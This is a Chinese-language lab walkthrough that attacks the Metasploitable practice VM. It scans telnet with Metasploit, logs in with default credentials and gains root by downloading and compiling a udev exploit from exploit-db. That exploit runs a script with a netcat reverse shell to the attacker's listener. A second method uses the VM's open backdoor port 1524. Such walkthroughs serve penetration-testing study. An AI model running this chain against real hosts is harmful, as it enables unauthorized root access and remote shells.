方法1.

msf >use auxiliary/scanner/telnet/telnet_version

msf auxiliary(telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

PASSWORD                   no        The password for the specified username

RHOSTS                     yes       The target address range or CIDR identifier

RPORT     23               yes       The target port

THREADS   1                yes       The number of concurrent threads

TIMEOUT   30               yes       Timeout for the Telnet probe

USERNAME                   no        The username to authenticate as

msf auxiliary(telnet_version) >set rhosts 192.168.86.129

rhosts => 192.168.86.129

msf auxiliary(telnet_version) >exploit

[*] 192.168.86.129:23 TELNET _                  _       _ _        _     _      ____  \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                            |_|                                          \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin withmsfadmin/msfadminto get started\x0a\x0a\x0ametasploitable login:

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(telnet_version) >

msfadmin用户登录：

提权（转载）：

1.打开一个终端：

netcat -vlp 4444#监听444端口

2.打开另一个终端：

telnet 192.168.86.129#telnet连接目标主机，以msfadmin普通用户登录

msfadmin@metasploitable:~$pwd

/home/msfadmin

msfadmin@metasploitable:~$ls

vulnerable

msfadmin@metasploitable:~$wget http://www.exploit-db.com/download/8572

--09:09:34--  http://www.exploit-db.com/download/8572

=> `8572'

Resolving www.exploit-db.com... 23.23.150.193, 23.23.129.3

Connecting to www.exploit-db.com|23.23.150.193|:80... connected.

HTTP request sent, awaiting response... 301 Moved Permanently

Location: http://www.exploit-db.com/download/8572/ [following]

--09:09:40--  http://www.exploit-db.com/download/8572/

=> `index.html'

Reusing existing connection to www.exploit-db.com:80.

HTTP request sent, awaiting response... 200 OK

Length: 2,768 (2.7K) [application/txt]

100%[==============================================>] 2,768         --.--K/s

09:09:45 (74.99 MB/s) - `index.html' saved [2768/2768]

msfadmin@metasploitable:~$ls

index.htmlvulnerable

msfadmin@metasploitable:~$mv index.html exploit.c

msfadmin@metasploitable:~$ls

exploit.cvulnerable

msfadmin@metasploitable:~$gcc exploit.c -o exploit

msfadmin@metasploitable:~$echo '#!/bin/sh' > /tmp/run

msfadmin@metasploitable:~$echo '/bin/netcat -e /bin/sh 192.168.86.1 4444' >> /tmp/run

msfadmin@metasploitable:~$ps -edf |grep udev

root26921  0 06:27 ?        00:00:00 /sbin/udevd --daemon

msfadmin  5782  5745  0 09:13 pts/1    00:00:00 grep udev

msfadmin@metasploitable:~$./exploit 2691#这里2691=2692-1

msfadmin@metasploitable:~$

ok，打开前面监听444端口的那个终端看看！

方法2.

这是从一个视频教程中看到的方法，用amap扫目标主机，扫到如下信息：

然后telnet 172.16.177.128 1524就直接连接了！

视频链接http://edu.aqniu.com/course/299